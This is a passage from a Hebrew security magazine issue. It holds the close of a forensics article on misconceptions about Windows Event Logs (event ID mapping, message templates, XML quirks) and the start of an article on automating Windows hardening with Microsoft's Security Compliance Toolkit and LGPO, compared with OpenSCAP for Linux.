‫‪ - Event ID‬פריט מידע זה יכול להיות שימושי ביותר עבור מישהו שצריך לבצע פתרון תקלה‪ .‬ה‪Event -‬‬ ‫‪‬‬
‫‪ ID‬משמש בתור מזהה לאירוע מסויים‪ .‬המזהה הזה קושר הודעה שמצביעה על סיבת הבעיה‪ ,‬מה שיתן‬
‫לנו את האפשרות להבין איך לפתור אותה‪.‬‬
‫קטגוריה ‪ - Task category /‬הקטגוריה משמשת בתור מידע נוסף כדי לעזור לנו עם תקלה של מערכת‬ ‫‪‬‬
‫או תוכנה‪ .‬המפתחים של תוכנה מסוימת יכולים להגדיר את הקטגוריות כדי לעזור לנו עם קונטקסט על‬
‫אירוע מסוים‪.‬‬
‫משתמש ‪ - User /‬שדה זה יכול לציין את המשתמש אשר התחבר למכונה מסוימת בזמן שבו האירוע‬ ‫‪‬‬
‫נרשם‪ .‬לדוגמה‪ ,‬כאשר מתקינים תוכנה‪ ,‬שם המשתמש יציין את המשתמש אשר ביצע את ההתקנה‪.‬‬
‫מחשב ‪ - Computer /‬השם של המכונה שרשמה את האירוע‪.‬‬ ‫‪‬‬

‫‪64‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪ Event ID‬הוא ייחודי באופן גלובלי‬
‫כנראה התפיסה השגויה הנפוצה ביותר לגבי אירועי ‪ Windows‬היא שהם ייחודיים באופן גלובלי‪.‬‬
‫ממייקרוסופט עצמם‪:‬‬
‫‪“Event identifiers uniquely identify a particular event. Each event source can define its own‬‬
‫”‪numbered events and the description strings to which they are mapped in its message file.‬‬
‫"‪ "Each event source can define its own numbered events‬מרמז שמזהיי אירועים הם ייחודים רק‬
‫כאשר מדובר במקור אירוע ספציפי (ייחודי באופן מקומי‪/‬יחסי)‪ .‬לצערנו‪ ,‬יש הרבה מאוד מקורות שרק‬
‫מייחסים את ה‪ Event ID-‬ללא מקור האירוע והגרסה שלו‪ .‬אם נרצה לאמת זאת בעצמנו‪ ,‬אנחנו רק צריכים‬
‫לחפש את ‪ Event ID 1‬באתר ‪ .MyEventLog‬אולי שמתם לב שחוץ ממספר מגוון של מקורות אירוע שונים‪ ,‬יש‬
‫גם מספר הודעות עבור המקור ”‪ .“WinVNC4‬זה עשוי לקרות עקב שוני בין גרסאות של אותו מקור אירוע‪.‬‬
‫‪ Event ID‬ממופה באופן ישיר להודעות אירוע‬
‫מהמקור "‪ ,"Windows XML Event Log format‬סעיף ‪ Externally stored values ,5.4‬אנחנו יודעים‬
‫שהודעות אירוע נשמרות בקבצי משאב הודעות (‪ .)PE/COFF ,message resource files‬הודעות האירוע‬
‫נשמרות עם מזהה מחרוזת הודעה (‪ .)message string identifier‬ישנן מספר דרכים כדי לקבוע את המזהה‬
‫הזה מ‪:Event ID-‬‬
‫מיפוי אחד לאחד של ה‪ Event ID-‬למזהה עצמו‪.‬‬ ‫‪‬‬

‫מיפוי שמשתמש ב‪ Event ID-‬ובתכונת ‪.Qualifiers‬‬ ‫‪‬‬
‫מיפוי שמשתמש במשאב ‪.WEVT_TEMPLATE PE/COFF‬‬ ‫‪‬‬
‫מיפוי שמשתמש ב‪ Event ID-‬ובתכונות ‪Qualifiers‬‬
‫במקרים מסוימים אנחנו צריכים את תכונת ה‪ Qualifiers-‬כדי לקבוע את מזהה מחרוזת ההודעה‪ .‬בואו ניקח‬
‫לדוגמה את המקרה הבא‪:‬‬
‫>‪<EventID Qualifiers="16384">7036</EventID‬‬
‫הערך של ‪ EventID‬עם ה‪ Qualifiers-‬מקביל למזהה מחרוזת ההודעה הבא‪:‬‬

‫‪message (template) string identifier = ( qualifiers << 16 ) | event identifier‬‬
‫‪16384 in hexadecimal is 0x4000‬‬

‫‪7036 in hexadecimal is 0x1b7c‬‬
‫‪message (template) string identifier = ( 0x4000 << 16 ) | 0x1b7c = 0x40001b7c‬‬
‫נשים לב שזה נצפה רק עם מקורות אירוע שמוגדרים תחת ”‪ “Services\EventLog‬ב‪.registry Windows-‬‬

‫‪65‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
WEVT_TEMPLATE PE/COFF ‫מיפוי שמשתמש במשאב‬
-‫ יכול להיות ממופה למזהה מחרוזת הודעה היא דרך מידע שנמצא במשאב ה‬EventID-‫דרך נוספת שבה ה‬
:‫ ניקח את המקורות הבאים‬,‫ לדוגמה‬.WEVT_TEMPLATE
Log source : Microsoft-Windows-OfflineFiles

Identifier : {95353826-4fbe-41d4-9c42-f521c6e86360}
Log type : System
Event message files : %systemroot%\system32\cscsvc.dll
Log source : Microsoft-Windows-BranchCacheSMB

Identifier : {4a933674-fb3d-4e8d-b01d-17ee14e91a3e}
Event message files : %systemroot%\system32\cscsvc.dll
‫ אם נחלץ את מזהיי האירוע ומחרוזת‬.‫ שני המקורות משתמשים באותו קובץ משאבים‬,‫כפי שניתן לראות‬
:‫ הבאות‬Powershell-‫ההודעה בעזרת פקודות ה‬
(Get-WinEvent -ListProvider Microsoft-Windows-OfflineFiles).Events | Format-Table Id, Description
Id Description
-- ----------
1 The Offline Files service started successfully.
2 The Offline Files service is terminating.
...
2011 Rename of file %1 to file %2 was blocked. The source and/or target file name is an excluded
file type.
(Get-WinEvent -ListProvider Microsoft-Windows-BranchCacheSMB).Events | Format-Table Id,
Description
Id Description
-- ----------
3000 SMB BranchCache was enabled with min hash version %1 and max hash version %2.
3001 SMB BranchCache was disabled.
:%systemroot%\system32\en-US\cscsvc.dll.mui ‫ בנתיב‬PE/COFF-‫ונשווה נגד החלק של משאב ה‬
message : 55
Identifier : 0xb00007db
data : Rename of file %1 to file %2 was blocked. The source and/or target file name is
an excluded file type.
message : 56
identifier : 0xb1000bb8
data : SMB BranchCache was enabled with min hash version %1 and max hash version
%2.
message : 57
identifier : 0xb1000bb9
data : SMB BranchCache was disabled.
‫ וגם עבור המקור‬Microsoft-Windows-OfflineFiles ‫הקובץ הזה מכיל מחרוזות הודעה עבור גם המקור של‬
.Microsoft-Windows-BranchCacheSMB
Windows Event Logs‫תפיסות שגויות נפוצות לגבי‬
66 2023 ‫ ינואר‬,146 ‫גליון‬
‫כל מחרוזות האירוע משומשות בהודעת האירוע‬
‫בדרך כלל‪ ,‬רשומה של ‪ EventLog‬מציינת מחרוזות באירוע‪ .‬לדוגמה‪:‬‬

‫>‪<EventData‬‬
‫>‪<Data Name="param1">Volume Shadow Copy</Data‬‬
‫>‪<Data Name="param2">stopped</Data‬‬
‫>‪</EventData‬‬
‫כאן‪ ,‬מחרוזות האירוע ”‪ “Volume Shadow Copy‬ו‪ “stopped”-‬מצוינות בתור ‪ EventData‬ב‪ XML-‬עצמו‪.‬‬
‫בדוגמה‪ ,‬מזהה הודעת האירוע המקביל הוא ”‪ ,“The %1 service entered the %2 state‬כאשר מחרוזת‬
‫האירוע הראשונה צריכה להחליף את מחזיק המקום הראשון (‪ )%1‬בהודעה הסופית‪ .‬ההודעה הסופית‬
‫צריכה להיראות ככה‪:‬‬
‫”‪“The Volume Shadow Copy service entered the stopped state.‬‬
‫למרות זאת‪ ,‬יש מקרים שבהם מזהה מחרוזת האירוע לא מכיל את מחזיק המקום עבור מחרוזת אירוע‬
‫ספציפית‪ .‬לדוגמה באירוע מספר ‪ 0223‬במקור ‪:Microsoft-Windows-OfflineFiles‬‬
‫‪Sync info for %1%nServer copy exists, client copy deleted. %n%13%nSee details for more‬‬
‫‪information.‬‬
‫כפי שאפשר לראות‪ ,‬מזהה מחרוזת האירוע הזה מכיל רק שני מחזיקי מקום עבור המחרוזת הראשונה‬
‫והמחרוזת השלוש עשרה‪ .‬הצורה שבה מחרוזות אירוע אחרות צריכות להיות מפורשות במקרים כאלו‬
‫בהתבסס על ה‪ ,EventLog-‬ללא עובדות נוספות‪ ,‬היא ספקולציה טהורה מנקודת מבט של פורנזיקה‬
‫דיגיטלית‪.‬‬
‫כל המידע של הודעת האירוע נמצא במחרוזת התבנית‬

‫הודעות אירוע יכולות להשתמש בקונספט שנקרא "‪ ."parameter expansion‬לדוגמה‪ ,‬ההודעה הבאה‪:‬‬
‫”‪“The %1 call failed for %2 with the following error: %3.‬‬
‫ומחרוזות האירוע הבאות‪:‬‬

‫>‪<EventData‬‬
‫>‪<Data Name="param1">ScRegSetValueExW</Data‬‬
‫>‪<Data Name="param2">FailureActions</Data‬‬
‫>‪<Data Name="param3">%%5</Data‬‬
‫>‪</EventData‬‬
‫ה‪ EventLog viewer-‬יתרגם אותם למחרוזת הבאה‪:‬‬

‫‪The ScRegSetValueExW call failed for FailureActions with the following error: Access is denied.‬‬
‫כפי שאפשר לראות‪ “Access is denied” ,‬לא מוגדר במזהה מחרוזת ההודעה או במחרוזות האירוע‪ .‬כאן‪,‬‬
‫‪ %%5‬מקביל למחרוזת ההודעה עם המזהה ‪ 5‬שמאוכסן בקובץ הפרמטרים של ההודעה של מקור האירוע‬
‫(מקור)‪.‬‬

‫‪67‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מחרוזות תבנית נשארות זהות‬
‫ אם נשווה‬,‫ לדוגמה‬.)PE/COFF( ‫מחרוזת אירוע יכולה להיות שונה עבור גרסאות שונות של קבצי משאבים‬
‫ בקובץ‬Microsoft-Windows-BranchCacheSMB ‫ במקור‬3222 ‫את מחרוזת ההודעה של אירוע מספר‬
:Windows 7 ‫ בגרסה של‬,cscsvc.dll.mui ‫משאב של‬
Windows 7, product and file version 6.1.7600.16385: SMB BranchCache was enabled.
:Windows 10 20H2 ‫ובגרסה של‬

Windows 10 20H2, product and file version 10.0.19041.1: SMB BranchCache was enabled with
min hash version %1 and max hash version %2.
‫ זה לא ברור אם רשומה של‬.‫ יש לה גם מחזיקי מקום‬,Windows 10 20H2-‫לא רק שמחרוזת האירוע שונה ב‬

.Windows 10 20H2 ‫ תכיל את מחרוזות האירוע שיהיו מצופות במערכת של‬Windows 7-‫אירוע ב‬
‫ תקין‬XML1.0 ‫ של אירוע הוא‬XML
.‫ בפועל לא כך המקרה‬,‫ תקין‬XML1.0 ‫ של אירוע הוא בפורמט‬XML-‫למרות שמייקרוסופט בעצמה מרמזת ש‬

:‫ תקין‬XML1.0 ‫דוגמה למקרה שבו רשומת אירוע חורגת מפורמט‬
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Store" Guid="{9C2A37F3-E5FD-5CAE-BCD1-43DAFEEE1FF0}"/>
<EventID>8001</EventID>
<Version>0</Version>
<Level>4</Level>
<Task>8001</Task>
<Opcode>14</Opcode>
<Keywords>0x8000100000000000</Keywords>
<TimeCreated SystemTime="2018-09-03T01:54:01.996300600Z"/>
<EventRecordID>218351</EventRecordID>
<Correlation/>
<Execution ProcessID="784" ThreadID="4980"/>
<Channel>Microsoft-Windows-Store/Operational</Channel>
<Computer>base-wkstn-01.shieldbase.lan</Computer>
<Security UserID="S-1-5-19"/>
</System>
<EventData>
<Data Name="Message">[1374] [000001B9730DC1F0:558F5D32-0827-EB7B-6AD6-D5DB4138B3AA]
StopProcessing : Key:NegotiatingUnleased</Data>
<Data Name="Function">StateMachine<class KeyMachine,class KeyState>::PumpEvents</Data>
<Data Name="Source">onecoreuap\enduser\winstore\licensemanager\lib\statemachine.h</Data>
<Data Name="Line Number">173</Data>
</EventData>
</Event>
‫ תקין לא אמור להכיל את התו < באלמנט‬XML ‫ כי‬,‫ תקין‬XML ‫ המודגש איננו בפורמט‬Data-‫כאן אלמנט ה‬
.‫מידע‬

68 2023 ‫ ינואר‬,146 ‫גליון‬
.‫ של אירוע הם ייחודיים‬XML-‫אלמנטים של מידע ב‬
‫ ישנם מספר‬.‫ אינם יחודיים‬EventData-‫ שמות של אלמנטים של מידע ב‬,‫ הבא‬XML-‫כפי שאפשר לראות ב‬
:“IoTypeIndex”-‫ ו‬,“TotalBytes” ,“TotalLatencyUs” ,“IoCount” ‫אלמנטים של מידע שיש להם את השם‬
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Ntfs" Guid="{3FF37A1C-A68D-4D6E-8C9B-F79E8B16C482}"/>
<EventID>146</EventID>
<Version>1</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x4000000000200000</Keywords>
<TimeCreated SystemTime="2018-09-05T01:51:32.107675800Z"/>
<EventRecordID>3291</EventRecordID>
<Correlation/>
<Execution ProcessID="4" ThreadID="15136"/>
<Channel>Microsoft-Windows-Ntfs/Operational</Channel>
<Computer>hostname</Computer>
<Security UserID="S-1-5-18"/>
</System>
<EventData>
<Data Name="VolumeCorrelationId">{4994EA25-0000-0000-0000-501F00000000}</Data>
<Data Name="VolumeNameLength">2</Data>
<Data Name="VolumeName">C:</Data>
<Data Name="IsBootVolume">true</Data>
<Data Name="HighIoLatencyCount">0</Data>
<Data Name="IntervalDurationUs">3750962784</Data>
<Data Name="NCReadIOCount">206</Data>
<Data Name="NCReadTotalBytes">9112304</Data>
<Data Name="NCReadAvgLatencyNs">11765267</Data>
<Data Name="NCWriteIOCount">2858</Data>
<Data Name="NCWriteTotalBytes">36175488</Data>
<Data Name="NCWriteAvgLatencyNs">4904584</Data>
<Data Name="FileFlushCount">560</Data>
<Data Name="FileFlushAvgLatencyNs">14539870</Data>
<Data Name="VolumeFlushCount">0</Data>
<Data Name="VolumeFlushAvgLatencyNs">0</Data>
<Data Name="FileLevelTrimCount">0</Data>
<Data Name="FileLevelTrimTotalBytes">0</Data>
<Data Name="FileLevelTrimExtentsCount">0</Data>
<Data Name="FileLevelTrimAvgLatencyNs">0</Data>
<Data Name="VolumeTrimCount">38</Data>
<Data Name="VolumeTrimTotalBytes">8957952</Data>
<Data Name="VolumeTrimExtentsCount">303</Data>
<Data Name="VolumeTrimAvgLatencyNs">53391</Data>
<Data Name="IoBucketsCount">44</Data>
<Data Name="TotalBytesBucketsCount">40</Data>
<Data Name="ExtentsBucketsCount">1</Data>
<Data Name="IoCount">59</Data>
...
<Data Name="TotalLatencyUs">151222351</Data>
...
<Data Name="TotalBytes">2813952</Data>
...
<Data Name="TrimExtentsCount">303</Data>
<Data Name="IoTypeIndex">0</Data>
...
</EventData>
</Event>

69 2023 ‫ ינואר‬,146 ‫גליון‬
‫‪ EventLogs‬ו‪ ETW-‬הם שווי ערך‬
‫‪ EventLog‬מהווה סטנדרט לתוכנות ולמערכת ההפעלה לרשום אירועי תוכנה וחומרה חשובים‪ ,‬עבור‬
‫המטרה של אדמיניסטרציית מערכת‪.‬‬
‫‪ ETW‬זה קיצור של ‪ ETW .Event Tracing for Windows‬הוא מנגנון מעקב שעובד ברמת הקרנל שנותן לנו‬
‫אפשרות לרשום אירועי קרנל או תוכנה‪ .‬נשים לב שקובץ אירועים בקונטקסט של ‪ ETW‬לרוב יהיה בפורמט‬
‫‪ .etl‬שהוא שונה מפורמט של קובץ ‪ ,EventLog‬שהוא ‪ .evt‬או ‪.evtx‬‬
‫סיכום‬
‫בתור אנשים שמבצעים חקירות פורנזיות‪ ,‬אנחנו צריכים להבין את האינפורמציה ואת מקרי הקצה של‬
‫המידע שאנחנו מנתחים‪ Windows EventLog .‬היא תת‪-‬מערכת מורכבת עם מגוון מקרי קצה‪ ,‬שעל רובם לא‬
‫מדברים בקהילות פורנזיות‪ ,‬אז אני מקווה שמאמר זה שפך קצת אור על הנושא ופתח דלתות למחקר עתידי‬
‫יותר מעמיק‪.‬‬
‫על הכותב‬
‫דניאל קויפמן‪ ,‬בן ‪ ,04‬מהנדס מערכות ‪ SIEM‬ו‪ ,Detection-‬ובעל זיקה חזקה לעולמות ה‪ .DFIR-‬ניתן ליצור‬
‫קשר בלינקדאין‪ ,‬טוויטר (‪ )@KoifSec‬או במייל‪koifmandani@gmail.com :‬‬

‫‪70‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪ - Windows VS Linux‬אוטומציית הקשחה ובקרה‬
‫מאת שרון וילנסקי‬
‫הקדמה‬
‫מאמר זה הינו המשך למאמר הקודם שלי בנושא "אוטומציה לתהליכי הקשחה לצמצום משטחי תקיפה"‪.‬‬
‫לאורך עבודתי בנושא הקשחת מערכות עסקתי בהקשחה של מערכות הפעלה מבוססות ‪ .Windows‬הבנתי‬
‫כי הפתרון הקודם שהצגתי (‪ ,)OpenSCAP‬המתאים לעולמות ה‪ Linux-‬ונגזרותיו‪ ,‬הוא חלק מתוך פתרון כללי‬
‫שיאפשר אוטומציה לתהליכי הקשחה עבור מערכות שונות‪ ,‬כגון‪ :‬מערכות הפעלה‪ ,‬פלטפורמות ענן‪ ,‬תוכנות‪,‬‬
‫דפדפנים וכד'‪.‬‬
‫בכדי לייצר תהליך הקשחה ובקרה אוטומטיים‪ ,‬נדרש להבין איך נוכל להשפיע על הגדרות בנושאי אבטחת‪-‬‬
‫מידע‪ .‬לשם כך‪ ,‬חשוב להכיר ולהבין מה הכלים הרלוונטים להתמודדות עם אוטומציה לאותן הגדרות‬
‫בסביבות שונות‪.‬‬
‫במאמר זה אראה את הדרך להגדרת תקן הקשחה עבור משאבי ‪ ,Windows‬בצורה המותאמת לארגונים‬
‫שונים‪.‬‬
‫‪Windows Vs Linux‬‬
‫בחרתי לקרוא למאמר ‪ Windows Vs Linux‬בעקבות המידע שנחשפתי אליו לאורך עבודתי‪ .‬לא ניתן לייצר‬
‫אוטומציה לכלל המערכות באמצעות כלי אחד (לפחות לא ‪ )OpenSource‬אך‪ ,‬אם נבין מה מערכות‬
‫ההפעלה\פלטפורמות שמשמשות אותנו‪ ,‬נוכל להבין מה סט הכלים המתאים למשימה‪.‬‬
‫אציין ואדייק את ההנחה המרכזית שהצגתי במאמר הקודם‪ ,‬בכדי להבהיר אילו מערכות יכולות לקבל מענה‬
‫מהכלי שהצגתי (‪ )OpenSCAP‬וכיצד נוכל לייצר תהליך דומה (הקשחה ובקרה אוטומטיים) בעבור סביבת‬
‫מחשוב מבוססת ‪.Windows‬‬
‫‪Windows VS Linux -‬אוטומציית הקשחה ובקרה‬

‫‪71‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ והתמיכה שהיא מספקת באמצעות חבילות הכלים‬Microsoft ‫אסקור את היכולות שמגיעות מבית‬
Microsoft ‫ שיאפשרו ניהול תהליך הקשחה בהתאם להמלצות‬,SCT(Security Compliance ToolKit) 1.0
‫ אדגים כיצד ניתן לייצר‬,‫ בנוסף‬.)‫ (כולל גרסאות ביניים ושרתים‬Windows 11 ‫ ועד ל‬Windows 10 ‫החל מ‬
‫ לפני שנמשיך אציג את ריכוז‬.SCT1.0 ‫אוסף הגדרות מותאם בעזרת קבצים שונים הנתמכים ע"י יכולות‬
:OpenSCAP-‫ והן ב‬SCT1.0-‫המערכות הן ב‬
:SCT1.0
Enterprise ‫שירותי‬ ‫דפדפנים‬ ‫מערכות הפעלה‬
Office 2016 Microsoft Edge Windows 10 & 11
Microsoft 365 Apps Windows Server 2012 &

For Enterprise 2016 & 2019 & 2022
:OpenSCAP
‫ בכדי לייצר תקן הקשחה‬OpenSCAP-‫במאמר הקודם שלי ניתן למצוא הסברים מפורטים על אופן השימוש ב‬ 
.‫ אוטומציה לתהליכי הקשחה לצמצום משטחי תקיפה‬- ‫מותאם לצרכים אישיים‬
RedHat OpenShift ‫ למשל‬- ‫חלק מתקני ההקשחה מונגשים באמצעות תוסף לפלטופורמה אותה יש להקשיח‬ 
OpenSCAP ‫ אשר מנגיש את יכולות‬OpenShift Compliance ‫ דורש התקנה של תוסף בשם‬Container Platform
.‫לסביבה הנ"ל‬
‫שירותי‬
‫וירטואליזציה‬ Kubernetes ‫שירותי‬ ‫דפדפנים‬ ‫מערכות הפעלה‬
Enterprise
RedHat RedHat Jboss Amazon Elastic Chromium Amazon Linux 2/3
Virtualization 4 Fuse Kubernetes Service
Java Runtime RedHat OpenShift FireFox CentOS 7/8
Environment Container Platform
McAfee RedHat OpenStack Debian 9/10/11
VirusScan Platform
Enterprise
Fedora
MacOS
Oracle Linux 7/8/9
openSuse
RedHat CoreOS 4
RedHat Enterprise 7/8/9
Suse Enterprise Linux 12 & 15
Ubuntu
16.04/18.04/20.04/22.04
UnionTech OS Server 20
‫אוטומציית הקשחה ובקרה‬Windows VS Linux -

72 2023 ‫ ינואר‬,146 ‫גליון‬
‫תקן הקשחה‬
‫כפי שהזכרתי‪ ,‬יש צורך להבדיל את הפתרון הקודם (‪ )OpenSCAP‬שמתאים כמו כפפה ליד בעולמות ה‪Linux-‬‬
‫מעולמות ה‪.Windows-‬כיוון שבעמוד הגיט‪-‬האב שלהם מצויין בבירור כי הם זונחים את התמיכה במשאבי‬
‫‪( Windows‬מקור)‪.‬‬
‫דבר זה מוביל אותי לשאלה‪ :‬כיצד ניתן להקשיח ולבקר את משאבי ה‪ Linux-‬אך גם משאבי ‪?Windows‬‬
‫לשם כך אחזור על מספר נקודות שפירטתי עלייהן יותר במאמר הקודם‪.‬‬
‫הזכרתי שבכדי להגיע לתקן הקשחה (‪ ,)Benchmark‬מומלץ להשתמש בתקן ההקשחה של ‪Central of ( CIS‬‬
‫‪ )Internet Security‬מתוך ההנחה כי הגוף מתחזק תקני הקשחה (‪ )Benchmarks‬למגוון רחב של מערכות‪,‬‬
‫תוכנות ורכיבי רשת שונים‪ .‬בנוסף‪ ,‬הזכרתי שניתן למצוא יכולות אוטומטיות להקשחה דרך מאגר של ארגון‬
‫התקנים האמריקאי ‪ - NIST‬מאגר ‪.)National Checklist Program( NCP‬‬
‫הדיוק הרלוונטי להנחה שלי מהמאמר הקודם‪ ,‬היא כי מה שנמצא במאגר ‪ NCP‬יהווה בעיקר את התאוריה‬
‫עבור תקני הקשחה של גופים שונים ‪ -‬ולא תמיד את האוטומציות לתהליך ההקשחה והבקרה‪.‬‬
‫אציין כי ניתן למצוא קבצי ‪ SCAP‬שיאפשרו בקרה עבור משאבי ‪ Windows‬דרך ממשק יעודי לעבודה עם קבצי‬
‫‪ - SCAP‬אותו תוכלו למצוא גם כן ב‪ .NCP-‬אך‪ ,‬הפער עליו אני מצביע הוא דווקא ביכולות האוטומציה‬
‫להקשחה ‪ -‬אותם לא ניתן לקבל באמצעות ‪ OpenSCAP‬עבור סביבות ‪.Windows‬‬
‫אני אישית ממליץ לבחון מה ניתן למצוא במאגר ‪ NCP‬לפני תחילת תהליך מחקר בנושאי הקשחה לרכיבים‬
‫שונים‪.‬‬
‫מוטביציה‬
‫במאמר הקודם הצגתי מצב בו תשתיות המחשוב השונות‪ ,‬בארגון קטן עד גדול‪ ,‬חשופות לחולשות‬
‫חדשות\ישנות בעקבות ניהול הגדרות אבטחת‪-‬מידע לקוי‪.‬‬
‫לעיתים‪ ,‬התיקון הנדרש צריך להיות מוחל על מספר רב של משאבים ולא מאפשר טיפול נקודתי‪-‬ידני‬
‫במסגרת הזמנים הנתונה‪.‬‬
‫בהמשך למאמר הקודם‪ ,‬בו הסברתי על יכולת אוטומטית להקשחה ובקרה בקרב משאבי ה‪ ,Linux-‬אסביר‬
‫במאמר הנוכחי כיצד ניתן לייצר תהליך שכזה גם למשאבי ה‪ Windows-‬שברשותנו‪.‬‬
‫המטרות העיקריות של התהליך הן‪:‬‬

‫להגדיר פרופיל הקשחה ‪ -‬אוסף הגדרות בהבטי אבטחת‪-‬מידע שיחולו על מערכת‪.‬‬ ‫‪‬‬
‫בקרה ‪ -‬תמונת מצב המאפשרת לקבל חיווי לעמידה בתקן ההקשחה‪.‬‬ ‫‪‬‬
‫אכיפה ‪ -‬החלת הקשחה על מערכת‪.‬‬ ‫‪‬‬

‫‪73‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מבוא‬
‫אנשי המחשוב נאלצים לדעת להתמודד עם גרסאות שונות של משאבי ארגון מבוססי ‪ :Windows‬עמדות‬
‫עבודה (‪ ,)Desktops‬שרתים (‪ ,)Servers‬ניהול מערכות ומידע הארגוני (‪ )Data-Center‬וכדו'‪ .‬בסביבות ‪0200‬‬
‫(ע"פ אתר ‪ )Microsoft‬שוחררה גרסא ‪ 1.2‬של ‪ SCT .SCT‬מיועד להפצות ‪ Windows‬שבאו לאחר ‪Windows‬‬
‫‪ .10 1703‬המערכות הנתמכות מתוארות בטבלה הבאה‪:‬‬
‫שירותי ‪Enterprise‬‬ ‫דפדפנים‬ ‫מערכות הפעלה‬
‫‪Office 2016‬‬ ‫‪Microsoft Edge‬‬ ‫‪Windows 10 & 11‬‬
‫‪Microsoft 365 Apps‬‬ ‫& ‪Windows Server 2012‬‬

‫‪For Enterprise‬‬ ‫‪2016 & 2019 & 2022‬‬
‫הקשחת ‪Windows‬‬
‫תהליך ההקשחה ב‪ Windows-‬מתרכז למספר ממשקים אשר דרכם ניתן להגדיר כל הקשור באבטחת‪-‬‬
‫מידע‪ :‬ערכי ‪ GPO‬והגדרות נוספות‪ .‬ביניהן‪ Audit Policy ,Registry :‬ו‪.Security Templates-‬‬
‫אתחיל מסקירה קצרה של הממשקים הנ"ל ואתאר כיצד ניתן באמצעותם לייצר תהליך הקשחה ובקרה‬
‫עבור משאבי ה‪ Windows-‬שנרצה לנהל בהקשרי אבטחת‪-‬מידע‪ .‬אפרט בהמשך המאמר כיצד אוסף‬
‫ההגדרות השונות מרכיבות יחד תקן הקשחה למשאבי ה‪ Windows-‬שברשותנו‪.‬‬
‫היכולת ב‪ Windows-‬לייצא את אוסף ההגדרות‪ ,‬שנרצה כחלק מתקן ההקשחה שגובש‪ ,‬ולהשתמש בהן‬
‫לצורך תהליך ההקשחה שלנו היא‪ ,GPO Backup :‬אותה נשיג באמצעות כלי המגיע יחד עם ‪LGPO - SCT 1.0‬‬
‫)‪.(Local GPO‬‬
‫באמצעות יכולת הגיבוי נוכל לייצא מצב הגדרות רצוי של משאב ‪ Windows‬ולטעונו בעמדת אחרת‬
‫(הקשחה)‪ .‬בנוסף‪ ,‬ניתן יהיה גם לבקר את תאימות מצב המשאב להגדרות המוצגות בגיבוי‪.‬‬
‫בכדי להבין כיצד הכלי ישמש אותנו אסביר מה יהיו אוסף הקבצים אשר נקבל באמצעות ‪ - LGPO‬בפעולת‬
‫‪.GPO Backup‬‬
‫במידה והקורא מכיר את המונחים הנגזרים מהנושא של ‪ ,GPO‬אמליץ בכל זאת להתעכב על סוגי הקבצים‬
‫המגיעים באמצעות תהליך ‪ - GPO Backup‬הכותרות‪ registry.pol ,GptTmpl.inf :‬ו‪.audit.csv-‬‬

‫‪74‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪GPO - Group Policy Objects‬‬
‫אובייקט ‪ GPO‬הוא אוסף וירטואלי של פוליסות המגדירות אוסף תכונות ברמת מערכת ההפעלה (‪)Windows‬‬
‫והמשתמש(ים)‪.‬‬
‫קיימים ‪ 0‬סוגים עיקריים של ‪ :GPOs‬מקומי (‪ )Local‬ולא‪-‬מקומי (‪.)Non-Local‬‬
‫מעבר להגדרת תכונות שונות למשאבי מערכת ההפעלה ‪ Windows‬קיימות הגדרות אשר מהוות פוליסת‬
‫אבטחת‪-‬מידע‪ .‬למשל ניתן‪:‬‬
‫להגביל גישה ללוח‪-‬בקרה (‪)Control Panel‬‬ ‫‪‬‬
‫לאסור הפעלת ‪ CMD‬או ‪( PowerShell‬ממשקים להרצת סקריפטים וכו')‬ ‫‪‬‬
‫לאסור התקנה של תוכנות‬ ‫‪‬‬
‫לאכוף מדיניות שימוש בסיסמאות‬ ‫‪‬‬
‫אופן החלת הפוליסות נעשית בסדר קבוע‪ ,‬השייך בחלקו לניהול ‪ GPO‬בארגון (ע"י ‪- Active-Directory‬‬
‫מערכת שלא אפרט עליה ומיועדת לניהול מס' משאבי ‪ Windows‬כחלק מיכולות ניהול הארגון)‪ .‬לנו חשוב‬
‫לזכור כי ‪ Local GPO‬הן ההגדרות הראשונות שיכולו על עמדה עלייה נחיל הקשחה‪ .‬במידה והעמדה היא‬
‫חלק מארגון יצטרפו הגדרות הנופלות לסוג השני ‪.Non-Local GPO -‬‬
‫‪GPO Back-Up‬‬
‫כאשר נרצה להחיל תקן הקשחה על משאב ‪ Windows‬נצטרך לזכור‪ ,‬כפי שתיארתי קודם לכן‪ ,‬כי קיימות‬
‫הגדרות אבטחה הן לרמת מערכת ההפעלה והן לרמת המשתמש(ים)‪ .‬אלו ניתן להגדיר באמצעות אוסף של‬
‫קבצים עלייהם ארחיב בחלקים הבאים‪ audit.csv ,registry.pol :‬ו ‪.GptTmpl.inf‬‬
‫בנוסף‪ ,‬קיים קובץ ‪ Backup.xml & Bkupinfo.xml‬אשר מכילים מידע נוסף על הגדרות המשאב‪.‬‬ ‫‪‬‬
‫ההגדרות הנוספות נוגעות לתוספות למשאב ‪ - Windows‬בינהם ‪ BitLocker‬ונוספים‪.‬‬
‫עלייהם לא אפרט במאמר זה‪ ,‬בעקבות הסיבה שהם ממשקים נוספים שניתן להגדיר בהקשרי אטבחת‪-‬‬ ‫‪‬‬
‫מידע‪ .‬מצד שני‪ ,‬התהליך שאתאר לאורך המאמר יוכל לאפשר לקוראים להבין כיצד להגדיר אותם גם כן‬
‫‪ -‬שכן גם הם מתרכזים להגדרות נוספות בקבצים שאתאר במאמר‪.‬‬
‫תקן ההקשחה‪ ,‬כפי שיגיע מ‪ Microsoft-‬או גורם מאושר אחר (למשל ‪ ,)CIS‬יגיע עם מספר קבצים ‪ -‬אשר‬
‫אחד מהם הוא ה‪ ,GPO-Backup-‬אשר יעזור לנו להקשיח ולבקר האם העמדה שלנו עומדת בהמלצות של‬
‫‪ Microsoft‬או בתקן ההקשחה שגובש בארגון‪.‬‬
‫מעבר להגדרות כלליות של משאב ה‪ Windows-‬שלנו אשר נכללות בממשק ה‪ GPO-‬של המשאב‪ ,‬קיים בתוך‬
